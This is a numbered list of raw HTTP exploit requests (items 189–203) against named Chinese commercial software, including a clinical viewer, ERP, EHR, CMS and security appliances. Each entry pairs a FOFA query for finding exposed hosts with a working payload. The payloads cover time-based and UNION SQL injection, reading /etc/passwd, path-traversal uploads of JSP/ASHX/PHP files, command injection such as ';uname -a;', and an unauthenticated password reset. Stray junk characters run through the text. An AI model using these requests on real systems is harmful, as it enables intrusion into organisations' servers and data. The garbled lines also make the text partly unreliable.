. |) u+ ~8 l( W( ~& z
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
" I# Z& |3 o/ G# Y, c  tFOFA：app="LANWON-临床浏览系统"
' t$ z5 x" _2 }5 f3 cGET /xds/deleteStudy.php?documentUniqueId=1%27;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
: m* H) v1 }& g$ bHost: your-ip
8 M# @1 K, m& k& Z0 W' C' u: w, pUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
: A; Z: ?9 R. q+ N2 fConnection: close
' e& K4 T6 ]: y- U" v& Z

190. 短视频矩阵营销系统 poihuoqu 任意文件读取
& a1 ~. B/ O2 i0 b3 [FOFA：title=="短视频矩阵营销系统"
POST /index.php/admin/Userinfo/poihuoqu HTTP/2
  v: {) {1 R5 J6 `7 I3 VHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
! i* Z1 G" l3 O6 X1 JContent-Type: application/x-www-form-urlencoded
. j6 }! ]9 f1 |8 C, {' g5 f1 YAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
& ^# R- N. S& u+ w9 O
: U+ u( p+ B$ I: jpoi=file:///etc/passwd
+ Z. g& S- |3 i; }% Y/ s4 ~
2 Z: U' G& w5 t4 v
6 ?+ m! T) E* w191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
FOFA：body="/CDGServer3/index.jsp"
POST /CDGServer3/js/../NavigationAjax HTTP/1.1
6 k7 m3 X8 ]2 T- ZHost: your-ip
1 ~' o8 B8 P9 j/ t& eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
) [! o1 y$ w+ B* s  c% d& I$ xContent-Type: application/x-www-form-urlencoded

! Q+ p* X  ]3 Z. W  {' T& j2 hcommand=nav&id=1'waitfor delay '0:0:5'--+&name=&openId=
: }! T  q& v6 G/ L3 \& M3 ?

: U% m+ n1 q5 |% X; F% L# R192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
9 j7 i0 \3 O" iFOFA：title="用户登录_富通天下外贸ERP"
" s/ K6 ^& b% J5 {* e. RPOST /JoinfApp/EMail/UploadEmailAttr?name=.ashx HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
# X6 I1 H' G0 U! B+ oContent-Type: application/x-www-form-urlencoded

$ o* |* _5 p0 ?' ^
: I6 y2 T8 D$ |8 \+ [<% @ webhandler language="C#" class="AverageHandler" %>
using System;
) ?5 [* m6 H2 r" gusing System.Web;
3 U% u: h, W% w& N" Q) n! lpublic class AverageHandler : IHttpHandler
{
% D. F/ m: ^' `- P+ q, |public bool IsReusable
{ get { return true; } }
public void ProcessRequest(HttpContext ctx)
+ e- @) W9 R* T) f{
ctx.Response.Write("test");
}
5 I3 y9 w3 M, ?; B$ L1 F}

2 b! }; H) O" r. G5 |/ S
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
3 h4 l% a: v0 @, J9 }  w1 NFOFA：body="山石云鉴主机安全管理系统"
GET /master/ajaxActions/getTokenAction.php HTTP/1.1
& a) S+ o( R$ G" A2 {" PHost:
Cookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0
! k- _5 o5 H) m) k, i

POST /master/ajaxActions/setSystemTimeAction.php?token_csrf={{token}} HTTP/1.1
! V( q; ?; Y: [8 `$ o8 PHost:
/ t$ S. D( z* W% g# IUser-Agent: Mozilla/5.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
! N; k4 I* R* sCookie: PHPSESSID=2333333333333;
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
, z8 P9 X/ g6 b& q9 D5 {/ L
/ _  u6 s& E8 [0 }param=os.system('echo 23333333333456 > /opt/var/majorsec/installation/master/runtime/img/config')

, \& r1 [, A2 _+ y4 F/ [  j$ b
GET /master/img/config HTTP/1.1
Host:
User-Agent: Mozilla/5.0

& [4 }5 h( `5 R- r0 d4 [6 K, l
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
FOFA：app="FE-协作平台"访问 /servlet/uploadAttachmentServlet 有返回则漏洞存在
, t# Q5 U. d9 x
4 I8 o  ^  v% Y" W4 SPOST /servlet/uploadAttachmentServlet HTTP/1.1
  Q+ K0 e* L' j$ D; s/ n- N7 THost: host
7 Q6 N8 w( q& @' _8 z7 hUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. n2 c5 Y3 i; y" E8 x4 Q1 @Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
+ H, m9 O/ g; C1 CConnection: close
  d( U6 S. }$ ]6 z$ YContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryKNt0t4vBe8cX9rZk
' c* ]6 K( E, h4 a4 `% Y------WebKitFormBoundaryKNt0t4vBe8cX9rZk
5 N0 J( @7 o* f" Q1 P- x' t' [) p- Q
2 ~! x" c/ k! g# H  F; A2 mContent-Disposition: form-data; name="uploadFile"; filename="../../../../../jboss/web/fe.war/hello.jsp"
Content-Type: text/plain
<% out.println("hello");%>
------WebKitFormBoundaryKNt0t4vBe8cX9rZk
! [& ?9 q! x8 t' a" JContent-Disposition: form-data; name="json"
$ j; {1 M& \' b! ~ {"iq":{"query":{"UpdateType":"mail"}}}
& K( T$ Z- X. s------WebKitFormBoundaryKNt0t4vBe8cX9rZk--


9 x+ K/ W8 |8 q" T2 u( M195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
/ i6 Y; I% [/ GFOFA：title=="飞鱼星企业级智能上网行为管理系统
# W  ~0 F$ M& W# x: ?POST /send_order.cgi?parameter=operation HTTP/1.1
Host: 127.0.0.1
" D+ N) T, Q% Q8 ]& q1 I# bPragma: no-cache
- P4 Z4 J6 D+ A- B& M5 |* u* [# b; Y9 ICache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: */*
Accept-Encoding: gzip, deflate
) R& {( _2 W3 T* iAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ E; |) o3 J% D* \8 k; L2 EContent-Type: application/x-www-form-urlencoded
Content-Length: 68

{"opid":"777777777777777777","name":";uname -a;echo ","type":"rest"}
# H: O, o, i0 c& i+ S

196. 河南省风速科技统一认证平台密码重置
FOFA：body="/cas/themes/zbvc/js/jquery.min.js"
. {' ?( ]& D% {3 X' }) D5 hPOST /cas/userCtl/resetPasswordBySuper HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Content-Type: application/json;charset=UTF-8
X-Requested-With: XMLHttpRequest
Host:
Accept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2
Content-Length: 45
% t0 [8 l" }& y6 ^* `# P# d: l* hConnection: close
8 \' X( B- e0 T2 C; h- m. ~
{"xgh":"test","newPass":"test666","email":""}
  H5 E. ~# E. l' z* t; R, @

2 J. S& _& h% n/ D" O5 E0 G
197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
FOFA：app="浙大恩特客户资源管理系统"
( Y& P* D' V9 Z( B6 d. wGET /entsoft/Quotegask_editAction.entweb;.js?goonumStr=1')+UNION+ALL+SELECT+111*111--+&method=goonumIsExist HTTP/1.1
& ~+ g) i# [, C- z8 b, wHost:
7 b, Q3 x& M) Y( k/ l3 w  L* vUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2656.18 Safari/537.36
2 S; d& B2 x" b: q% d% GAccept-Encoding: gzip, deflate
Connection: close
+ Q/ G& p4 X  L) J5 T


198.  阿里云盘 WebDAV 命令注入
CVE-2024-29640
0 L- J/ G- j5 tGET /cgi-bin/luci/admin/services/aliyundrive-webdav/query?sid=%60%6c%73%20%2f%3e%2f%77%77%77%2f%61%61%61%2e%74%78%74%60%20 HTTP/1.1
Cookie: sysauth=41273cb2cffef0bb5d0653592624cf64
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: close

% o( O+ d" f! m7 ^# ~  S
199. cockpit系统assetsmanager_upload接口 文件上传
& Q  Q% p* d3 ~
6 M& u+ S) Y+ k6 s1.执行poc进行csrf信息获取，并获取cookie，再上传访问得到结果：
  g1 j1 Q  D5 x( Y2 n+ ZGET /auth/login?to=/ HTTP/1.1
; J3 I5 p: P* K; D" x# V4 |$ H# V
4 J6 Z: \  s; j2 m1 y& M9 L响应：200，返回值:csfr:"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"
4 }, o/ k/ F4 y5 }& o
2.使用刚才上一步获取到的jwt获取cookie：
' z& E3 b- }; i) `- C. N9 h' s
  z! h& G2 W5 o, ?POST /auth/check HTTP/1.1
Content-Type: application/json

{"auth":{"user":"admin","password":"admin"},"csfr":"eyJ0eXAi0iJKV1QiLCJhbGci0iJIUsI1NiJ9.eyJjc2ZyIjoibG9naW4ifQ.6KvuRJo3-Dp2UouwGH9D8cmnXEL4NGNen9CX3ex86cw"}
( t6 [! D' b+ z/ x9 `8 f: R
7 j" P. y: ?; `+ e  h7 `* }响应：200，返回值:
Set-Cookie:mysession=95524f01e238bf51bb60d77ede3bea92: path=/
8 U. ]  A: m( C' vFofa：title="Authenticate Please!"
POST /assetsmanager/upload HTTP/1.1
4 B. J6 I, p3 l  ]% nContent-Type: multipart/form-data; boundary=---------------------------36D28FBc36bd6feE7Fb3
/ b& I0 H& @' `5 ACookie: mysession=95524f01e238bf51bb60d77ede3bea92
. Q1 q4 {4 G) o: ~# i7 ?/ B( {
-----------------------------36D28FBc36bd6feE7Fb3
" C2 Y0 w# S" G. I# B' K' xContent-Disposition: form-data; name="files[]"; filename="tttt.php"
Content-Type: text/php

6 ^# |5 Q% R7 p1 C: Q: d<?php echo "tttt";unlink(__FILE__);?>
-----------------------------36D28FBc36bd6feE7Fb3
Content-Disposition: form-data; name="folder"

% K9 l9 {8 ~) m  u# W: v0 ^-----------------------------36D28FBc36bd6feE7Fb3--


0 A  A) \! Z7 z1 K/storage/uploads/tttt.php
+ Z4 }# i; G  t; k) L" W, [$ B
$ ~7 M! m3 b- l. B8 Q8 ?3 k200. SeaCMS海洋影视管理系统dmku SQL注入
; C1 J/ q9 c' H0 `  B+ K7 i' IFOFA：app="海洋CMS"
GET /js/player/dmplayer/dmku/?ac=del&id=(select(0)from(select(sleep(5)))v)&type=list HTTP/1.1
Cookie: PHPSESSID=hlfl5flck9q3ng1blehhv86s4s
4 [9 L: ~( e  q; V. i# B2 Y8 {Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
: t1 }7 K3 K7 b8 Z0 P+ }' X0 r/ uAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ c- @4 z; Y' p
4 V' c+ P# d5 ^! q
201. 方正全媒体新闻采编系统 binary SQL注入
6 d. o" K3 i; F* X) V$ l+ ~3 AFOFA：body="/newsedit/newsedit/" || app="FOUNDER-全媒体采编系统"
$ ]2 V4 G* t% I0 C* E# C2 }POST /newsedit/newsplan/task/binary.do HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 V5 y6 `$ ]/ @Connection: close

TableName=DOM_IMAGE+where+REFID%3D-1+union+select+%271%27%3B+WAITFOR+DELAY+%270%3A0%3A5%27%3Bselect+DOM_IMAGE+from+IMG_LARGE_PATH&FieldName=IMG_LARGE_PATH&KeyName=REFID&KeyID=1

2 A- b# L! U& _2 G) z9 Y9 Z. D
202. 微擎系统 AccountEdit任意文件上传
" W1 j. b9 n/ r+ F# Z0 WFOFA：body="/Widgets/WidgetCollection/"
获取__VIEWSTATE和__EVENTVALIDATION值
GET /User/AccountEdit.aspx HTTP/1.1
7 ^9 E* D0 ]+ T7 F9 C+ CHost: 滑板人之家
6 I+ a2 n+ u5 o% x9 eUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/531.36 (KHTML, like Gecko) Chrome/83.0.4103.112 Safari/537.31
, U! f3 l+ W, o) \) q. eContent-Length: 0


6 F  p4 E, P, [& ?) Y替换__VIEWSTATE和__EVENTVALIDATION值
POST /User/AccountEdit.aspx HTTP/1.1
Accept-Encoding: gzip, deflate, br
3 x% S  S. [7 k! ~( ~$ YContent-Type: multipart/form-data;boundary=---------------------------786435874t38587593865736587346567358735687
8 M" F! L# G" L5 \& R
/ ~2 I& S7 s3 K% A-----------------------------786435874t38587593865736587346567358735687
' {3 ~! g) B6 y6 O  LContent-Disposition: form-data; name="__VIEWSTATE"

__VIEWSTATE
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="__EVENTVALIDATION"
2 [' W. z8 C/ [; F
__EVENTVALIDATION
4 [8 X' w- [- c/ Y6 i-----------------------------786435874t38587593865736587346567358735687
8 U" L' K4 J2 j4 F, nContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$upload"; filename="1123.txt"
Content-Type: text/plain
& }* }8 K$ i# b+ T6 G* Y/ a" n
Hello World!
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$bttnUpload"
, |+ n# Q: x  L7 u. ~! S$ }
上传图片
-----------------------------786435874t38587593865736587346567358735687
Content-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtLastName"

# _5 h! R& S, A) B9 r: E
" c7 c6 t3 f" y- q: n, Y: r-----------------------------786435874t38587593865736587346567358735687
! [6 A5 b. j3 X3 M! U6 a" rContent-Disposition: form-data; name="ctl00$MyContentPlaceHolder$ctl00$txtEmail"
% a" V- Z  |/ R$ {5 r
& R9 A3 o# T  f9 F- P2 f
-----------------------------786435874t38587593865736587346567358735687--

6 t1 C! P' C# I' M+ m4 G
/_data/Uploads/1123.txt

+ B1 J' [5 z* c! F# M- W203. 红海云EHR PtFjk 文件上传
: g% n1 F0 O# X, x  [7 RFOFA：body="RedseaPlatform"
POST /RedseaPlatform/PtFjk.mob?method=upload HTTP/1.1
Host: x.x.x.x
* \+ p# _3 t& U! g/ L( c/ {: \Accept-Encoding: gzip
: N) h* J9 i/ w  J# d7 T! rUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Length: 210
; q# @0 [. N9 E
1 K" N$ E5 M+ H) }------WebKitFormBoundaryt7WbDl1tXogoZys4
% M- I7 z( v8 m. L8 z+ zContent-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
% F4 H' L6 z. R  j2 X1 X9 s! G------WebKitFormBoundaryt7WbDl1tXogoZys4--
7 o# i- o2 i" P# |. a' U+ b, \
4 }) l, m. p0 Q* [3 w, D


5 O; h$ E9 A8 E) L; _% W. f